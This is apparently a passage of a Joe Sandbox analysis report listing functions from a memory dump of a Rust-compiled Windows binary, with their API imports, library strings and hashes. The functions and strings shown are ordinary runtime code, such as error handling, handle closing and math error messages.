Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$DirectorySystem
String ID:
API String ID: 860285823-0
Opcode ID: ffc30bfb80f99257f630be8af07d64097ac32f841f521670e0df6c39c96680bc
Instruction ID: 5f3e5bf4ff4eedfa90fe344d055846d29a66c5cf6af67b62c2ccd71dacf53940
Opcode Fuzzy Hash: ffc30bfb80f99257f630be8af07d64097ac32f841f521670e0df6c39c96680bc
Instruction Fuzzy Hash: BB41B822E05EA245E7346F358C443F992A0BB08B78FD40635DD5D8B7CAEF28954E8250

Function 00007FF71775C8A9 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF71775CA1C
GetSystemDirectoryW.KERNEL32 ref: 00007FF71775CA27
GetLastError.KERNEL32 ref: 00007FF71775CA32
GetLastError.KERNEL32 ref: 00007FF71775CA4E

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$DirectorySystem
String ID:
API String ID: 860285823-0
Opcode ID: bea74d87754f589cd966b28bdba78a04639ad8adbfd69b9c5e2847a3f802e844
Instruction ID: f80f4b46fd4a6f097d6e0805362893bbe25dd73c12c1e803edc75fcf20826d82
Opcode Fuzzy Hash: bea74d87754f589cd966b28bdba78a04639ad8adbfd69b9c5e2847a3f802e844
Instruction Fuzzy Hash: 5731D622A05EA245F7706F358C443F9A2A0BB0CB78FC41636DD5D9BBC6EF28954E8211

Function 00007FF717761C00 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF717761CFA
GetFullPathNameW.KERNEL32 ref: 00007FF717761D0F
GetLastError.KERNEL32 ref: 00007FF717761D1A
GetLastError.KERNEL32 ref: 00007FF717761D33
memcmp.MSVCRT ref: 00007FF717761DB1

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$FullNamePathmemcmp
String ID:
API String ID: 2929619185-0
Opcode ID: 92a81ae790cde6e2ad8ab26dfe0cb6653e1814c53c6e8b7d79e8b7a2654fb407
Instruction ID: f66419cc28078efda1138bc1fc53ca561d9610aeb5ee4f3ad945a139ebbf3613
Opcode Fuzzy Hash: 92a81ae790cde6e2ad8ab26dfe0cb6653e1814c53c6e8b7d79e8b7a2654fb407
Instruction Fuzzy Hash: 1931B421A04FC159F771AE61A8487E96654BB09BE8F944135ED5C9B7CACE78924D8300

Function 00007FF717754890 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetFileInformationByHandleEx.KERNEL32 ref: 00007FF717754904
GetLastError.KERNEL32 ref: 00007FF71775491F
CloseHandle.KERNEL32 ref: 00007FF717754991
CloseHandle.KERNEL32 ref: 00007FF7177549A4

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: Handle$Close$ErrorFileInformationLast
String ID:
API String ID: 4143594976-0
Opcode ID: 8c25450097fcf3a2814538d05617459bfc32c466d192583082a3af1a86e800fe
Instruction ID: 2acce009262ab2cd518c29aa01dcd768140d413458ad49e4817a20bc4fe83b18
Opcode Fuzzy Hash: 8c25450097fcf3a2814538d05617459bfc32c466d192583082a3af1a86e800fe
Instruction Fuzzy Hash: BB319021F18EA545FB11EB6598027F9A2B0AF48768FC44531ED4C1278BDF6CA58FC360

Function 00007FF71774C718 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF71774C748
CloseHandle.KERNEL32 ref: 00007FF71774C7A4
CloseHandle.KERNEL32 ref: 00007FF71774C7AD

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF71774C7C5

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards
API String ID: 2962429428-3387848338
Opcode ID: 712329a5fe86226219baa1bd2ce72511566b3c4d07a0bdf9d0bf144787c1b6ab
Instruction ID: 6d709e0112c556e24859935347ff2a01fb51c2e1d3a012c4270d874ab0e13bb9
Opcode Fuzzy Hash: 712329a5fe86226219baa1bd2ce72511566b3c4d07a0bdf9d0bf144787c1b6ab
Instruction Fuzzy Hash: 9E214F36B0495199FB11FB62D8415FDA7A1BB49BA8F944431EE0E07A87CE38D48F8360

Function 00007FF71774C735 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF71774C748
CloseHandle.KERNEL32 ref: 00007FF71774C7A4
CloseHandle.KERNEL32 ref: 00007FF71774C7AD

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF71774C7C5

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards
API String ID: 2962429428-3387848338
Opcode ID: 090a304eb00242c4ba6eb7669c524ae94609558ff5bde9817ee2f51c6206bbdf
Instruction ID: 4e468f5dda61e70b53c547fb28ac104f7846156734b3d91648eafd358a318ef5
Opcode Fuzzy Hash: 090a304eb00242c4ba6eb7669c524ae94609558ff5bde9817ee2f51c6206bbdf
Instruction Fuzzy Hash: 95111F36B1991195FB11FB62D8415FDA7A1AB49BB4F945431EE0E06787CE38D08F8360

Function 00007FF71774C742 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF71774C748
CloseHandle.KERNEL32 ref: 00007FF71774C7A4
CloseHandle.KERNEL32 ref: 00007FF71774C7AD

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF71774C7C5

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards
API String ID: 2962429428-3387848338
Opcode ID: 6d70529e1bb1eba6697a12d0cd8c284bdb73389e16f793dc7c958d432f87c2c8
Instruction ID: 40d792df159f8822798bb61cc7f560acc038f26a4f65fa0522e91be6be81aa04
Opcode Fuzzy Hash: 6d70529e1bb1eba6697a12d0cd8c284bdb73389e16f793dc7c958d432f87c2c8
Instruction Fuzzy Hash: D9113D36B1491199FB11FB62D8415FDA7A1BB49BA8F985431EE0E07787CE38D08F8360

Function 00007FF717757E60 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 145networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF717757F14

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs, xrefs: 00007FF71775802E
assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 00007FF717758046

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs
API String ID: 1452528299-513854611
Opcode ID: aed944820c4ff97ba46419a47c76fa312d113af2be5a85ce08e8b0606597aa19
Instruction ID: 144b63ffec6058070648691218131beb480db22c60a6ec58e3a5b0e297956444
Opcode Fuzzy Hash: aed944820c4ff97ba46419a47c76fa312d113af2be5a85ce08e8b0606597aa19
Instruction Fuzzy Hash: 1751F432E049918AF770AF55E4402FCB7B0FF08364F908129EE9943B95DB3C959AC750

Function 00007FF717761740 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,00007FF71774D9B8,?,?,?,?,?,?,00007FF717737A96), ref: 00007FF717761765
GetLastError.KERNEL32(?,?,?,?,?,?,00007FF71774D9B8,?,?,?,?,?,?,00007FF717737A96), ref: 00007FF717761800

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF71776181D

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorFrequencyLastPerformanceQuery
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 3362413890-2333694755
Opcode ID: 125f12cbf819ad59ff386bc5975b7acf701ca1fb5fc1d74b55788fa64a06a3e6
Instruction ID: 81ddda21b3eb3680b25f4c50c5577184afb757f79ca6e3a73f21f8279d3cb1a0
Opcode Fuzzy Hash: 125f12cbf819ad59ff386bc5975b7acf701ca1fb5fc1d74b55788fa64a06a3e6
Instruction Fuzzy Hash: D731F511B09F4646FB08FB65A4102B9A7965B88BA0F98C036DD0E43797DE2CA51FC360

Function 00007FF717765B40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(?,?,00000000,?,00007FF717751DCA), ref: 00007FF717765BBE
TlsSetValue.KERNEL32(?,?,?,?,?,?,00000000,?,00007FF717751DCA), ref: 00007FF717765C19

Strings

assertion failed: is_unlocked(state), xrefs: 00007FF717765BE6

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: AddressSingleValueWake
String ID: assertion failed: is_unlocked(state)
API String ID: 741412973-3502192491
Opcode ID: da2c4ba34aa77a352e36bf536d0e6d29029739b6ea50faa7ea929ed43c8ffefd
Instruction ID: c53a85d165f0fd9fbf097913fe61238facca408be0879749731309b30fd6dc07
Opcode Fuzzy Hash: da2c4ba34aa77a352e36bf536d0e6d29029739b6ea50faa7ea929ed43c8ffefd
Instruction Fuzzy Hash: D621A721F0A9074AFB66761555003B9A251DF9DB79FB4C034EE0D0738ADD2DA88F97A0

Function 00007FF71774D990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,00007FF717737A96), ref: 00007FF71774D9A6
GetLastError.KERNEL32(?,?,?,?,?,?,00007FF717737A96), ref: 00007FF71774D9C0

Part of subcall function 00007FF717761740: QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,00007FF71774D9B8,?,?,?,?,?,?,00007FF717737A96), ref: 00007FF717761765

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF71774D9DD

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: PerformanceQuery$CounterErrorFrequencyLast
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 158728112-2333694755
Opcode ID: 5bc127802c3df2079730c422be3828e83479d8627c7c24287756ef6ca370a142
Instruction ID: b30b0a2a8b12731e964b9c6a4b4be2200a684f35e9ed8cd05c86cb89451cbef5
Opcode Fuzzy Hash: 5bc127802c3df2079730c422be3828e83479d8627c7c24287756ef6ca370a142
Instruction Fuzzy Hash: 5B117322B09D4259EB10BB70D4422F9A760AF88764F844131DD4D4264BDE2CD55EC360

Function 00007FF717757C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF717757CC0

Part of subcall function 00007FF717747C60: memset.MSVCRT ref: 00007FF717747C84
Part of subcall function 00007FF717747C60: WSASocketW.WS2_32 ref: 00007FF717747CC5

Strings

assertion failed: socket != sys::c::INVALID_SOCKET as RawSocketlibrary\std\src\os\windows\io\socket.rs, xrefs: 00007FF717757C87

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: Socketmemsetrecv
String ID: assertion failed: socket != sys::c::INVALID_SOCKET as RawSocketlibrary\std\src\os\windows\io\socket.rs
API String ID: 1952720251-42570012
Opcode ID: 18c7bb4dfbb0b872742dc44238251bf92bb93ec967aacfa1f0eec4458d7dcfab
Instruction ID: 7ad4dfec7d50d7a17d498059e6f4fc9ce0e16064ee5ed30f4e1b3d2696a4d60b
Opcode Fuzzy Hash: 18c7bb4dfbb0b872742dc44238251bf92bb93ec967aacfa1f0eec4458d7dcfab
Instruction Fuzzy Hash: 5B01F521B14E8689FB64737890452B8D3659B88734FE84331DD3D467D2DE2C959F8220

Function 00007FF7177AD690 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7177AD710

Strings

Unknown error, xrefs: 00007FF7177AD77C
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7177AD6F7

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 325970b99f59e992869b15b547b78a0270b7646e7ed450ca3ae991192f7a869d
Instruction ID: 5e23abb0b97d998cdf5da0387816e216732797d8741112587f6df36145f137db
Opcode Fuzzy Hash: 325970b99f59e992869b15b547b78a0270b7646e7ed450ca3ae991192f7a869d
Instruction Fuzzy Hash: 1F017362D1CF8482E6019F1CE8001BAB320FB5D799F559325EE8C26526DF28E5968710

Function 00007FF7177AD730 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7177AD710

Strings

Argument domain error (DOMAIN), xrefs: 00007FF7177AD730
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7177AD6F7

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 6eb4b77c4f8eaeccad83fc189a02852e575d745d1ffcaaaa937404e0f1d88fc3
Instruction ID: 1a5d444a322424075142443eafdcd5cd7a21eb2c3eed5b78ddb6fe3a597cd46c
Opcode Fuzzy Hash: 6eb4b77c4f8eaeccad83fc189a02852e575d745d1ffcaaaa937404e0f1d88fc3
Instruction Fuzzy Hash: 52F06852D18F4482E6129F1CA4001EBB330FF4DB98F585725EF8D26556DF28E5878710

Function 00007FF7177AD740 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7177AD710

Strings

Partial loss of significance (PLOSS), xrefs: 00007FF7177AD740
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7177AD6F7

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: c2ec67f7798fbaf6a926c8f2ca5cc0b96a5e3d9249152667c1d4eac8be866468
Instruction ID: af48f20f1917b2050107a74c7d72b22b975a2094592ba2bfa42b68bff79eed7a
Opcode Fuzzy Hash: c2ec67f7798fbaf6a926c8f2ca5cc0b96a5e3d9249152667c1d4eac8be866468
Instruction Fuzzy Hash: 67F06852D18F4482E6029F1CA4001EBB330FF5DBA8F595725EE8D26556DF28E5878710

Function 00007FF7177AD750 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7177AD710

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF7177AD750
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7177AD6F7

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 3cb0424a8953d48a008c56219b0bef7cf853752c9e33e66b8e5c155e833ea758
Instruction ID: 3d2fa74470dc4faeabc29066eeaf44873f712e9c0ddaa207f16f5a192f979d57
Opcode Fuzzy Hash: 3cb0424a8953d48a008c56219b0bef7cf853752c9e33e66b8e5c155e833ea758
Instruction Fuzzy Hash: 58F06852D18F4482E6029F1CA4001EBB330FF8DB98F585725EE8D26556DF28E5978710

Function 00007FF7177AD760 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7177AD710

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7177AD6F7
The result is too small to be represented (UNDERFLOW), xrefs: 00007FF7177AD760

Memory Dump Source

